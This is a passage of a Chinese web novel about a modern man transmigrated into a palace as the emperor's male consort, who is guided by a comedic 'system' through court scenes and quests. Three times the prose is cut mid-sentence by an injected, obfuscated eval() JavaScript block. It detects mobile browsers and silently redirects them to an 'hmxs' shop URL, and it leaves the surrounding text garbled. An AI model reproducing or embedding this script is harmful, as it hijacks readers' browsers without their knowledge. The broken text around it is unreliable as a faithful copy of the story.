周启桓喝了半杯茶水,继续批阅奏疏。 不知不觉,八块桂花糕只剩两块,曲延问:“陛下,你吃吗?” “朕夜间不食。”周启桓淡声道。 “不识?不识什么?不识字?”曲延逗趣。 周启桓抬起眼睛看他。 “……”曲延收敛笑容,继续吃糕,“是我不识字。” 帝王不语,坐姿端正,身量挺拔修长,如玉山倾颓,郎艳独绝。 曲延是佩服的,周启桓那么强大的工作量,还能坚持不吃夜宵,看来皇帝也要身材管理……他摸了摸自己微鼓的小肚子,无语凝噎。 白玉瓶里盛的不是水,而是酒酿。曲延浅尝一口,甜甜的很好喝,于是一杯接着一杯。 不知是酒意上来,抑或体虚身弱,曲延神智昏沉,双手支颐,纤长睫毛一眨一眨往下掉。 他不知自己神态,只是在那一片晕黄迷蒙的视线中望着帝王的侧颜,当真峻拔陡峭,又恰到好处地蜿蜒到合适的地方,天工巧夺。 尤其那一双眼睛,宛如大雪覆盖的森林冰湖,瑶池遗落的一对翡翠,冷得不近人间烟火。 尽管皮囊是东方的,但这骨相眉眼,曲延有理由怀疑周启桓身上流淌着异域的血,不是纯种汉人。 这般迷糊地想着,曲延困倦至极,终是不舍地阖上眼睛,脑袋往下栽去。 即将磕到桌案的前一秒,一只骨节分明的手接住了他,带着薄茧的掌心覆在额头,温热蔓延。 曲延无知无觉,已然睡得熟了。 吉福屏气,把自己隐没在烛影中。 灯芯噼啪炸开,冰块在青铜冰鉴里悠悠化开,发出轻微碰撞的声响。 帝王静默凝视掌心沉睡之人,将其拨到臂弯之中,手臂从膝弯绕过,将青年整个人打横抱起来,稳步走出旁斋。 夜合殿的夜晚静谧得只闻虫鸣,星光倾泻中庭百年合欢树上,正是绽放如云烟的好时节。 周启桓抱着曲延走过曲折的游廊,风送一缕花香。 曲延由此做了一个好梦,他坐在山坡上,脚下万里河山,十里花海,姹紫嫣红绵延到很远的地方。夕阳光光芒万丈,一条大河波光粼粼抱住山脚,绕过山峰后与天际相接。 他背后有人帮他束发,宽大的手掌,指腹擦过耳廓带着微微的粗粝感,似乎不甚熟练,发髻最后还是歪了。 曲延理直气壮地说:“重新梳。” 那人“嗯”了一声,玄色衣袂如燕子尾随风而起,掠过曲延眼角余光。 曲延想回头去看。 “别动。”嗓音低低拂过耳畔,散在山风中。 由此身不动,心却动。 【系统更新完成。】 【本次更新内容增加了‘危险提示’‘系统商城’‘存档点’等。】 曲延睁开眼,眼尾犹带两分湿润,面无表情地盯着头顶熟悉的鸳鸯红纱帐。 【欢迎宿主回到大周朝。】 曲延:“你好吵,怀念你下线的时候。” 系统:【……】 曲延腮帮鼓鼓,卷过被子抱住,总觉得被惊扰了一场好梦。 3. 戴凤冠 曲延边吃早膳边看系统的更新说明。 归纳总结就是,危险提示就是危险的时候给一个免费提示,系统商城是卖货的,存档点使用是要积分的。 曲延的初始积分是1000,只能买到系统商城首页最便宜的“春意绵绵药”。 曲延:“……” 曲延:“春意绵绵药什么鬼?不要告诉我是春药的扩写。” 系统:【我们虽然是扫黄系统,但也会照顾宿主的正常需求。】 “用到春药也叫正常需求?” 系统:【宿主可以选择不买不使用,当一辈子处男。】 曲延还就杠上了,“我要是买这玩意,我就是小狗!” 系统默默给曲延开放了部分权限。 曲延眼前刷新,系统界面多了几个板块,他点开存档点,页面是灰色的,显示开一个存档要5000积分。 “……”贫穷的曲延用贫穷的语言辱骂了一句,“你爸的。” 几个宫女进来,面对穿着打扮一模一样的NPC宫女,曲延很难不脸盲,只记得那个掌灯女官,每晚是她负责熄灭烛火,最后一个离开寝殿。 许是盯久了,那女官身旁自动跳出身份小卡信息:【谢秋意,23岁,夜合殿掌灯女官,出身士大夫家,十五岁入宫,爱慕太学院典簿春知许。】 “谢秋意,春知许。”曲延赞叹,“古人的名字真美。这么一对比,我的名字是不是有点敷衍?” 系统:【你姓曲名延,字少灵,就是曲子少了灵气的意思吧。】 曲延:“……放屁!” 作为一个半路出家的音乐人,曲延写过流行曲,玩过摇滚,在酒吧驻唱三年,有一波忠实的粉丝,足以说明他创作的曲子还是颇有灵气的。 周围伺候的宫女忽然哗啦跪下来。为首的谢秋意俏脸滴着血色,磕巴道:“娘娘恕罪,奴婢、奴婢没有放屁。” 曲延:“……” 小宫女们诚惶诚恐:“奴婢也没有放屁!” 曲延这才惊觉自己竟然说出了声,连忙道:“我不是说你们放屁的意思,快起来吧。” 谢秋意身量高挑,比其他小宫女高出一截,站起来时却如弱柳扶风,像是受到了惊吓,蹙眉问:“娘娘可是闻到了异味?” “没有没有。”曲延闻到的只有食物的香气、合欢花粉的胭脂香、屋内的龙涎熏香,以及一丝若有似无的说不出的冷香…… 后知后觉的,曲延想起那是周启桓身上的气息。 曲延僵住了,昨晚他是怎么回来的? 总不可能是自己梦游回来的。 身为皇帝的妃嫔,即便是男妃,旁人也是不能随意碰的。排除所有可能,那就剩下一种。 “系统,昨晚我是怎么回来的?”曲延在脑海里不死心地问了一句。 系统:【当宿主与其他人亲密接触时,系统出于扫黄基本原则,将自动屏蔽宿主。】 “我才没有黄!” 【你被周启桓公主抱了。】 “……” 外面传来细碎的脚步声,吉福一叠声笑着:“曲妃娘娘,陛下口谕,宣您前往金乌殿。轿辇已经备下,还请娘娘移步。” 曲延吃好饭,漱了口,莫名其妙被打扮一通穿上正红朝服,坐上轿辇出了夜合殿门,在清凉巷内穿梭。 这是他第二次出大门,第一次被周嵘胁迫,这次被宣召。 抬轿辇的有八人,几个太监身量体形相似,抬轿四平八稳,显然训练有素。吉福颠着小脚跟上,脸上的笑就没拉下来过。 曲延好奇:“吉福总管,陛下唤我何事?” 吉福龇着小牙,眼睛被油光水滑的面庞挤成两条缝,乍一看十足的佞臣相,“娘娘到了便知。” 出了永定门,便是前朝主要议事宫殿之一的金乌殿。 这几天曲延大门不出二门不迈,上一次惊鸿一瞥金乌殿的辉煌壮阔还是在灯火惶惶的夜里。而这次,青天白日,大地灿然,金乌殿的全貌映入眼帘。 果然应了“金乌”二字,金乌殿的屋顶金灿灿一片琉璃瓦,在日光的折射下如同碎金涛浪,蜿蜒起伏,金碧辉煌。 八根粗壮的玄铁龙柱支撑整座殿宇的重量,让它在庄重中透出一丝雄鹰般的矫健轻盈,展翅欲飞。 金龙抱柱的殿宇内,文武百官肃穆分列两侧,一侧藏青,一侧砖红,如同两股巨浪,权谋诡计尽在无声翻卷中。 而在他们的尽头,代表承天接地的玄金龙椅上,端坐一道冰山般静默而威严的身影。 大周的帝王,周启桓。 曲延拾级而上,走进金乌殿,瞬间被百官巨浪席卷,无数深不可测的目光盯紧了他。 周启桓凤目低垂,如同九天之神,神情近乎冷酷,嗓音如玉石相击:“护国公之子曲延,入宫为妃侍朕,性秉温恭,行止端方,无失无过,恪守内则。今以‘灵君’封号赐之,等同妃位。” 曲延睁着黑白分明的杏仁眼,“啊?” 吉福小声提醒:“灵君,跪下谢恩。” 曲延琢磨须臾,明白过来,原来不叫他“娘娘”了,专门给他设了一个男妃位分:灵君。 不得不说,这事做到了他心坎里。 男儿膝下有黄金,曲延愿意把黄金送给周启桓,刚要提起衣摆来一个帅气的跪姿,就听帝王冷沉的嗓音:“曲君尚在病中,无需多礼。” 曲延还没反应过来,就听得百官如同潮水哗然一片跪拜:“灵君万福——!” “……免礼免礼,众爱卿平身。”曲延受宠若惊,学着古装剧说话。 吉福弓腰道:“灵君,请上前。” 不知何时,帝王已从龙座站起,自金阶踱步而下,腰间白玉禁步发出细碎响声。太常寺少卿手捧一顶巧夺天工的龙凤金冠献上。 一道声若洪钟的声音猛然道:“陛下,此乃凤冠?!” 帝王目下无尘,只望着曲延懵懂走上前,他抬手取凤冠,“凤为雄,凰为雌,凤冠有何不可?” 那双鬓花白的老人一时竟呛住,“普通凤冠便罢了,然自古九龙九凤冠,非一国之后不可戴。” 周启桓淡声:“户部尚书的意思是,请朕现在封后曲君?” 文武百官:“……” 封后??? 男人当妃子已是大周朝史无前例,若是刚当上妃子就封为皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647427|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,那还有没有祖宗章法了? 曲延神游天外数了数,这凤冠上还真有九条龙,九只凤凰,精致程度直逼国宝。 “陛下三思。”由户部尚书欧阳氏为首,稀稀拉拉的文臣们又跪了下来,一脸痛心疾首,宛如他们的明君即将成为昏君。 周启桓不语,将凤冠端正地戴在曲延头上。 曲延差点脖子闪了,“好重。” 周启桓捏住曲延雪白脆弱的脖颈,“撑住。” 曲延:“哦。” 百官:“…………” 不知谁人噗嗤一笑,又迅速止住。 曲延循声望去。 那是一个穿绯罗袍,腰束革带,黑皮履,长得玉树临风的文官,年纪看着也就二十多,站在稍后面的位置,官阶应该不算大。 许是被曲延盯着,那文官温文一笑。 曲延歪了歪头,啊了一声,差点又闪了脖子——凤冠真的很重。 尽管重,心里却美滋滋的,曲延对系统说:“管它凤冠鸡冠,纯金打造的就是好冠冠。” 系统:【……没文化,真可怕。】 帝王将曲延的脑袋扶正掰回来,一瞥那文官,“殿中侍御史有话?” 殿中侍御史捏着象牙朝笏出列,躬身禀道:“陛下,臣要弹劾欧阳尚书教子无方,其子欧阳策多次偕同英王府世子前往白马春风楼纵酒享乐,笙歌达旦,不知天地为何物。” 欧阳尚书剧烈咳嗽起来,枯木般的手指指着殿中侍御史,说不出话来。 好巧不巧,英王今日也上了朝,本来在前排抱着大肚腩打瞌睡,万万没想到一个大瓜滚到自己面前,眼睛瞪成两只小瓜:“本王哪个儿子?!” 殿中侍御史彬彬有礼:“正是周焱枫小世子。” “那个混账,本王回去一定严加管束!”英王熟稔地滑跪到帝王脚边,声泪俱下,“陛下,小拾才十八岁,肯定是被人教坏的。” 欧阳尚书咳嗽更狠,“英王你这是什么意思?” 英王开始卖惨:“我那苦命的小拾,刚出生就没了娘,三岁被无良道士骗到道观苦修十年,好不容易认祖归宗,回来没过几年好日子,一场大病差点要了他的命。好在皇天庇佑,他活过来了,感念皇恩浩荡,隔三差五进宫伴君左右,为君解忧啊。” 英王四十五度角仰起胡子拉碴的脸,眼中闪动柔弱的泪光,“陛下开恩啊~” 周启桓:“……” 曲延:“……” 就在曲延的嫌弃之情快要藏不住时,英王的身份小卡信息刷新:周瑛,先帝长子,庸碌无为,封为英王,有十子三女,幼子周焱枫十五岁重病后被龙傲天周拾代替。 曲延虎躯一震,不可思议地问系统:“龙傲天不是本地人,也是穿的?” 【是的。】 “那他有系统吗?” 【有的。】 曲延一脸凝重,目光深沉,思索良久,千头万绪汇成最想知道的一个问题—— “你们系统会谈恋爱吗?你会被其他系统上吗?” 【………………不会!!!】 曲延是第一个把没得感情的系统逼得声情并茂的。 4. 当妖妃 “不会就不会,那么激动干嘛。”曲延掏了掏耳朵。 系统闭麦了。 英王还在声泪俱下地嚎哭,欧阳尚书气得要昏厥过去,文武百官七嘴八舌或劝阻或拱火。也有人置身事外看戏,讥笑连连。 在这一锅乱粥中,帝王清冷的嗓音穿透沸腾的人声:“退朝。” 百官瞬间肃静。 吉福唱喝:“退——朝——” 周启桓携起曲延的手,一同走向金乌殿偏殿。 百官匍匐一片:“恭送吾皇,恭送灵君。” 曲延看到那群大臣头顶升起的一片身份小卡片,密密麻麻,层层叠叠。但根本来不及细看,他怀疑系统是故意的。 系统的机械音适时响起:【触发支线:打断欧阳策的腿。】 曲延满脑袋问号:“啥?” 【任务介绍:欧阳策经常带龙傲天周拾去白马春风楼享乐,龙傲天将在三天后于白马春风楼结识南疆圣女,纳入后宫。】 【任务奖励:100积分。】 曲延回忆了一下欧阳策是谁,“为什么打断的是欧阳策的腿,不是龙傲天的腿?” 系统:【在一本龙傲天文里,龙傲天受伤,身边必定会出现一个呵护他、关心他、心疼他的女人。】 曲延:“……套路文确实是这样。” 【只要欧阳策的腿被打断,他就不能带龙傲天去白马春风楼,只要不去白马春风楼,就不会结识南疆圣女。】 “那要是龙傲天自己去了呢?” 【龙傲天还在凹纯情少年人设。】 曲延点头,在心里为欧阳策点了一根蜡烛的同时接取了支线任务。那么问题来了,他要怎么隔空打断户部尚书家小儿子的腿? 他试图从系统商城找一找金手指,有个叫《武修秘籍》的书吸引了他的注意,“这个世界还有武侠元素?” 【准确的说,是玄幻武侠,毕竟是龙傲天,获得的武学传承自然与三教九流不同。】 曲延点开《武修秘籍》,显示要10000积分,前三章可以免费阅读,特别说明,如果练废或者走火入魔后果自负。 “……”曲延看一眼自己的初始积分1000,“秘籍你好,秘籍再见。” 十几名宫女围在身侧,为曲延与周启桓更衣,曲延不习惯人伺候,能自己来就自己来,结果脱下凤冠时勾到头发,怎么也拿不下来。 周启桓除去外袍,抬手为他解开打结的头发,摘下沉重的凤冠。 曲延的脖子总算轻松,额角出了一层薄汗,望着近在咫尺的帝王,脑中灵光一闪:“陛下不处置欧阳策吗?” 帝王凤目低垂,冷翠的眼瞳没什么情绪,“曲君希望朕处置他?” 曲延拐弯抹角谆谆善诱:“俗话说,玉不琢不成器,人不学不知道。” “嗯。” “天将降大任于斯人也,必先苦其心志,劳其筋骨。” “嗯。” “孩子不听话,打一顿就好了。” “嗯。” 曲延震惊,周启桓这么好说话的?还是他颇有“妖妃”的潜质? 吉福极有眼色,这便出去叫住散朝归家的欧阳尚书,这般那般说了一番。欧阳尚书原本还庆幸帝王没有当众怪罪,原来在这儿等着。 欧阳尚书吹胡子瞪眼:“老夫这就回去打断那个小兔崽子的腿!” 夜合殿属于帝王寝宫,平日里周启桓就在金乌殿办公,午间大多也在金乌殿偏殿,办公的同时方便召见外臣。 夜合殿的书房还有一些个人偏好的摆件,比如玉雕笔砚,金乌殿则完全是办公场所,一切物件井然有序且无趣,人员出入严格把控。 帝王更衣后便坐在宽大的乌木桌案后,提笔继续处理堆积如山的政务。 至晌午,膳房传菜。曲延留下一起吃饭。 他正老实地当一个干饭人,脑中忽而响起一道提示音:【恭喜宿主完成支线任务:打断欧阳策的腿。】 曲延惊讶:“这么快?谁打的?” 【欧阳策他爹。】 既然是亲爹打的,下手肯定不会太重,最多躺个几天,不能约龙傲天去花天酒地罢了。 曲延稍稍放心,第一次当“妖妃”还有点小紧张。 100积分到账,曲延心情很好地多吃了半碗饭。周启桓一如既往地吃完一碗饭便放下筷子,漱口净手之后坐在案边继续批阅奏疏。 堂堂帝王吃那么少,还各种熬夜加班,曲延深觉任重道远。 伺候用膳的宫女安静地侍立一旁,曲延隔着墨玉珠帘唤道:“陛下,你要不要再吃点?” 周启桓头也不抬,“不必。” 曲延用一只干净的小碗盛了龙脑荔枝汤,端到帝王案前。瓷白的碗中盛着琥珀般的汤汁,半透明的荔枝肉沉浮其中。 “你尝尝,这汤真的很好喝。”曲延倾情推荐,“在这炎炎夏日,来一碗冰镇过的龙脑荔枝汤。不用等风来,龙脑的香,荔枝的甜,带你扶摇直上九万里,一直飞到九重天!只要九十九……啊不是,只要喝一口,清凉一夏尽入喉。” “……” 周遭安静到曲延想唱一句“给你的爱一直很安静”。 吉福干咳一声打圆场:“陛下不喜甜食,知道灵君喜爱,才特地吩咐御厨做的甜汤。” 曲延愣住,他是喜欢吃甜食。 “偶尔食之,无妨。”周启桓端起不足他巴掌大的小碗,用汤匙轻轻搅动甜汤,静默地一勺一勺吃完。 曲延眼睛亮晶晶,他就知道自己的广告没有白打。 “劝君更喝一碗汤,长命百岁不是梦,我真是个天才。”曲延自信心爆棚,问系统,“系统商城有食谱吗?我要亲手给周启桓食补。” 系统:【提醒宿主一句,你做的饭有毒死别人的可能。】 曲延:“……这是污蔑!你怎么知道的?” 【查到宿主大学时,舍友吃了一碗你自制的麻辣烫,拉肚子拉到医院急诊。】 曲延:“我现在厨艺已经进步很大了……” 【是的,你会泡面,进步确实很大。】 “……” 窗外知了一声声叫唤,随着日头的西移越发悠长。冰鉴里的冰块逐渐融化成半缸冰水,碎冰孤岛般漂浮。 曲延原本坐着,后来躺着,在窗边的美人榻上翻看一本古籍。 看不懂。 古籍上方笼罩一块半透明的小屏幕,其上是密密麻麻的现代黑体字,错落有致。 这倒是看懂了,却越看越气,因为他看的是生成这个世界的原书,龙傲天主角正如所有套路文那样,穿越之后从一个不学无术的纨绔,摇身一变成大周朝的新帝,一路不是在收后宫,就是在霸气侧漏。 拥有新欢的同时,顺带回忆一下与旧爱的相识,描述之艳俗,可以说大半内容都是在擦边,专为宅男定制的一本种马文。 铁打的龙傲天,流水的美女,多少红颜薄命被辜负。 而其中最令人咋舌的,不是三千后宫,而是龙傲天不光自己收后宫,还会把享用过的女人赏给兄弟。如果兄弟不收,那就送给大臣。大臣要是不喜欢女人,龙傲天甚至能把兄弟送给大臣! “……………………” 曲延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647428|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛脏了。 他明白系统为什么要扫黄,这扫的不光是黄,还有碎掉的三观。 “操啊!”曲延一把将书摔了出去。 这一声铿锵有力,掷地有声,本就安静空阔的偏殿回音袅袅。 曲延侧过脸,对上帝王冷峻的目光。 吉福扑通跪下,侍立的宫女小太监们也随之伏在地上,寂静如死。 曲延迟疑:“不用……这么严重吧?” 帝王如同一座冰山镇在曲延面前。 曲延压力山大,气势弱下去:“……我自己捡回来嘛。” “曲君何故拿书出气?”不等曲延下美人榻,周启桓已俯身捡起地上的古籍,轻轻拍去灰尘。 曲延就像课堂上被老师发现看课外书籍的学生,羞愧难当。夏风自窗户翻涌进来,扑了他一头一脸,热汗滚下来,湿了薄而凌乱的衣襟,锁骨如玉分明。 周启桓垂眸,注视良久。 曲延:“?” 冷翠色的眸子转向别处,周启桓将古籍放回书架,喉结微动:“既然不爱看,别勉强自己。” “哦。” “吉福,去一趟东宫藏书阁。” 吉福会意,“遵。” 曲延扭腰把窗户关上,安详地平躺在美人榻上。 周启桓走到榻边。 曲延四肢僵硬,与之大眼瞪小眼。 俄顷,周启桓坐在案前继续处理政务。 过了约莫一盏茶的工夫,吉福捧着一摞书籍归来,行了礼。 周启桓颔首,吉福将书籍送到曲延面前,“请灵君过目。” 曲延好奇地拿起一本书册翻阅,入目是一幅幅生动有趣的小画,画面外写着一排排小字,这便是古代的“绘本”了。 虽然没有现代漫画直观,但故事跌宕起伏、志怪扑朔,充满了古人天马行空的想象,曲延看得津津有味。 不知不觉过去一下午,曲延倦了,已是四仰八叉,打着酣畅的小呼噜。 侍奉的宫女前来给帝王添茶倒水,根本不敢往窗边多看。 周启桓命人抬来四扇漆面鸟兽屏风,将睡姿不雅有碍观瞻的曲延挡住——只有他能看到。 暮色四合,知了还在大树上孜孜不倦地叫唤,一声声传到宫墙外的万家灯火、热闹街巷。唯有这一方宫城内的天地,随着夜色的降临越发肃静、森严。 灯芯噼啪炸开,蘸了朱墨的狼毫笔尖一顿。 吉福刚要传唤剪烛宫女,就听见帝王冷沉的嗓音:“回夜合殿。” 星子漫天,回夜合殿的路并不长,只需穿过永定门与清凉巷。帝王轻装简行,怀中是熟睡的红衣美人。 如同抱着满怀轻如云团的合欢花。 提着宫灯的宫女分列两旁照明深深的石巷,脑袋埋得低低的,脚步猫般轻巧。 头顶的星空被割成一长条,四下岑寂。 前方忽而闪过一道狗狗祟祟的身影,吉福一惊,立马叫住:“谁?站住!好大的胆子,竟敢惊扰圣驾!” 圣驾有没有被惊扰不知道,反正曲延被这一嗓子惊醒了。 第一眼看到的,是一条优美起伏的线条,宛如静静卧在大地上的险峰峻岭。幽微清淡的冷香若有似无地钻入鼻腔,拨动脑神经。 曲延几乎是瞬间想到,这是周启桓身上的气味。 继而反应过来,他看到的是周启桓的脖颈、喉结。 他靠着的,是周启桓的胸膛。 曲延抬脸,与帝王冷绿如森林湖泊的眼睛对上,“……” 周启桓稳稳地抱着他,波澜无惊,像是做惯了这样的事。 5. 新任务 曲延动如脱兔,一下子从周启桓臂弯中跳下来,然而身子发懒,腿软,踩在青砖上摇摇欲坠。 周启桓擒住他手臂,稳稳托住。 曲延有些脸热,他怎么又被公主抱了…… 周启桓不惊不动,抬眼目视前方。 曲延探头探脑,“干嘛呢这是?” 帝王出行,皆有严密护卫随行,有时在明处,有时在暗处,而有时在高处。 在发现那行踪诡异之人时,随着吉福一嗓子叫开,已有两名侍卫从墙而降,按住那穿着青褐色小太监服饰的纤瘦人影。 吉福颠着小脚冲上前去,怒声质问:“哪个宫的?好大的胆子,竟敢冲撞圣驾!” 那小太监被扭着手臂,哎呦叫着:“放开放开,是我。” 那声音清甜娇俏,与太监声音天差地别。 小太监仰起白净的脸,“吉福总管,是我。” 就着宫灯晕黄的烛火,吉福细瞧下更是一惊:“徐美人?!” 徐乐焉被侍卫放开来,揉了揉自己酸痛的手臂,抬头看到走近的高大身影,连忙就要来一个大跪,结果脚尖绊到青石,整个人往前飞去:“陛——” 宫女侍卫们瞪大眼睛,谁都没敢动。 有一瞬间,徐乐焉憧憬地望着近在咫尺如同神祇的帝王,只要他伸出一只手—— 啪叽一声,徐乐焉五体投地。 “………………下。” 曲延震惊:“哎呀妈呀,后宫妃嫔见到陛下要行这么大礼??” 说起来,他连给周启桓跪都没跪过,倒是被抱了几次。 吉福深吸一口气,弓着腰问:“徐美人,您没事吧?” 太监纱帽在地上滚了两圈,徐乐焉满头凌乱地抬起脸,盯着帝王稳重扎实的黑皮靴尖,龙纹常服衣袂就在三尺之外,她还是第一次离皇帝这么近。 “我……”徐乐焉没说完,就听见一道天籁般冷沉好听的声音。 “徐美人品行无状,罚俸一月。”周启桓如是说。 徐乐焉:“…………” 语罢,周启桓从旁绕过去。 曲延低头看着被晾在原地的姑娘,于心不忍:“地上凉,你这样趴着会肚子疼,快起来吧。” 徐乐焉猛然想起自己是来干嘛的,连滚带爬追上去,凄声唤道:“陛下,陛下,臣妾有话说!” 周启桓脚下一顿。 徐乐焉故作柔弱,“陛下,臣妾姑母连日来以泪洗面,眼睛肿得跟两只桃似的。家父来信对此十分关切,姑母是他唯一的妹妹,至亲之情,骨肉连心啊。” 周启桓不言,等曲延跟上自己,再次朝夜合殿走去。 还以为帝王在等自己的徐乐焉:“……” 没关系,她可以小跑。 “陛下~”徐乐焉一个冲刺跪到帝王身前,欲要抱其大腿。 周启桓往后一撤,冷声道:“徐美人,即刻回宫。” 徐乐焉扑了空,挤出两滴眼泪,“至亲血脉,打断骨头连着筋,还望陛下开恩。” 曲延吃瓜都吃得稀里糊涂,直到这徐美人的身份小卡刷新:【徐乐焉,徐太尉之女,徐太妃侄女,由徐太妃引荐入宫。妹妹徐椒为龙傲天青梅竹马,一出生便定下娃娃亲,是龙傲天笼络朝臣的重要纽带之一。】 徐乐焉曲延没有印象,但徐椒这个名字曲延下午刚看过。 徐椒比龙傲天周拾小七岁,出生时自带一股天然体香。古时以胡椒为香料,以椒香涂墙更是达官贵族家才有的风雅之事。于是徐太尉为这个幼女取名为徐椒。 龙傲天原身第一次见到徐椒,徐椒只是个五岁奶娃娃,亲切地叫他十哥哥。 后来徐椒年满十四,龙傲天登基不过一年多,正需朝臣鼎力支持的时候,于是迫不及待地将徐椒纳入后宫,却不碰她。 倒不是因为龙傲天不喜欢徐椒,而是因为龙傲天自以为受过现代社会的熏陶,对十四岁的徐椒实在下不去手,于是一直晾着。 一个不被新帝临幸的妃嫔,在宫中遭遇可想而知,徐椒毕竟年纪小,受了其他妃嫔几句讥讽,就想不开自缢了。 满打满算,现在徐椒也不过十二岁。 曲延的拳头硬了,害人不浅龙傲天,不知糟蹋了多少无知少女的芳心。 【触发主线任务:瓦解龙傲天与徐家姻亲关系。】 【任务奖励:1000积分。】 【触发支线任务:打断赵傀的腿。】 【任务奖励:100积分。】 曲延:“?” 曲延在脑中问:“赵傀是谁?” 系统:【向学殿小太监,他将在一天后引荐龙傲天结识宫女小芸,宫女小芸又会为龙傲天与齐美人牵线搭桥,狼狈为奸。】 曲延:“……” 龙傲天都偷吃到自己叔叔后宫来了?大逆不道! 曲延眼一瞟,就看到一个低眉顺眼站在墙边的小太监,头顶明晃晃NPC名字:赵傀。 原来就在眼前。 曲延抬手一指,“你,过来。” 那是一列小太监,原是做事经过这里,徐美人正是混迹其中,半途鬼头鬼脑摸了出去。那几个小太监从徐美人“搞事”后就贴着墙跪拜,尽量降低自己的存在感,没想到还是被发现了。 他们齐刷刷脸色惨白:“陛下恕罪,灵君恕罪,奴婢不知美人在此。” 曲延问周启桓,“陛下,宫中刷马桶的地方叫什么?” 周启桓:“……净房。” 曲延点头,“你们几个去净房刷马桶,刷满一个月。” 包括赵傀在内的小太监连连磕头,“遵。” 曲延没有听到系统的提示音,不由得问:“非要打断腿?” 系统:【就算罚去别的地方,还是有可能发生原书剧情。】 曲延犯了难,他自认不是什么大好人,但也没做过特别坏的事。 这时吉福出声:“灵君,恕老奴直言,他们几个包庇徐美人乔装,只是罚去刷马桶,未免太轻了些。” “吉福总管以为如何?” “当每人杖责三棍,以儆效尤。”吉福当得上太监总管,自然是有些狠心与手段。 曲延又开始犹豫。 周启桓道:“按规矩办。” 吉福得令,这便命人将那几个小太监拖去杖责。 曲延看着还跪在地上的徐乐焉。 吉福扯起嘴皮子笑道:“徐美人,您还不回宫?” 徐乐焉打了一个哆嗦,麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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系统:【这是最简单有效的方法。】 “你带过其他宿主吗?一般遇到这种情况会怎么做?” 【一,杀了皮条客;二,杀了后宫;三,杀了龙傲天。】 “……”曲延说,“还是打断他们的腿吧。” 动不动就杀人什么的,一点也不适合社会主义长大的曲延。 没心没肺唠嗑好一阵,曲延没等来夜以继日处理政务的皇帝陛下,自己先睡了过去。他的梦里有月明星稀,合欢摇曳。也有万里河山,灯火绵延。 他总觉得,身边应该还有一个人。 一个,让他梦醒就会遗忘的人。 曲延喃喃唤着:“周启桓……” 轻而稳重的步伐声走近,骨节分明的手拨开珠帘进入内殿,高大的玄色身影站在床榻边凝视良久。 曲延四仰八叉地被帝王摆正手脚,轻软清凉的蚕丝被盖住那一身冰肌玉骨,鸳鸯纱帐落了下来。 红烛灼灼,燃了一夜。 6. 龙傲天 曲延的一天从睡懒觉开始。 日上三竿,他终于舍得从两米宽的龙床爬起来,由八个宫女伺候他穿衣、洗漱、梳头——古代的服饰头发他自己是真的搞不来,即便别扭,也只能麻烦一下心灵手巧的宫女。 曲延看着银镜中一身绣金红衣的自己,贵气逼人眼目,他不由得问谢秋意:“我这样每天花枝招展,真的可以吗?” 不知道还以为他每天都要成一次亲。 谢秋意不仅掌灯,还负责每天亲自给曲延梳头,搭配饰物,闻言淡然道:“灵君正当盛宠,裁造院送来的十几身衣服皆是红色。今天傍晚裁造院与文思院会再送一次,灵君可亲自挑选。” 裁造院就是宫中做妃嫔衣服的地方,文思院则是做金银珠玉的地方,两院同属少府监,掌百工技巧,宫中舆车轿辇、服饰器物皆由此处锻造。如果赶制较忙时,比如大臣年换的朝服,还可以外包给民间的绣坊与金银铺子。 听着谢秋意的讲述,曲延不住点头,“这就是国企与私企的业务合作,我懂。” 谢秋意笑笑:“上一个讲话这么奇怪的,还是英王小世子。” 曲延反应了会儿,明白过来是说龙傲天,周拾没有封号,也无官职,外人只用英王世子来称呼。“他说什么了?” “什么我命由我不由天,三十年河东三十年河西莫欺少年穷,世界吻我以痛我对世界拳打脚踢,从今以后我将誓死守护好兄弟,没有人可以违抗我……还有你在点火,女人。” 曲延:“……” 窜频了吧,最后一句应该是霸总说的,不是龙傲天。 话音刚落,就有小宫女进来禀报:“灵君,英王世子过来给您请安。” “谁?” “英王世子,十殿下。” “英王一脸肾虚的样子,居然有十个儿子,都是亲生的吗?”曲延由衷好奇。 “……” 谢秋意:“灵君,慎言。” 曲延问:“那我要接受他的请安吗?” 谢秋意刚说过周拾闲话,调整了一下表情,“灵君若是不想见,可以不见。” 曲延认真想了三分钟,“……还是见见吧,总要见的。” 与龙傲天的第一次会面,自然不能在帝王的寝宫,不合宫规。曲延穿戴齐整,移步偏殿,迟来的早饭已在偏殿布置好。 隔着绿玉珠帘,曲延坐在桌前,三四级台阶下立着一位红衣少年郎,看不真切面容,从头到脚矜贵非凡,头上编着八股麻花辫扎到头顶的金玉发冠中,额上绑着一条二龙抢珠红额带,意气风发光彩夺目。 “侄儿周焱枫,给灵君请安。”龙傲天有模有样地跪拜,磕了一个头,“祝灵君与皇叔天偶佳成,百年好合。” 这声音中气十足,一听就是爽朗的少年音。 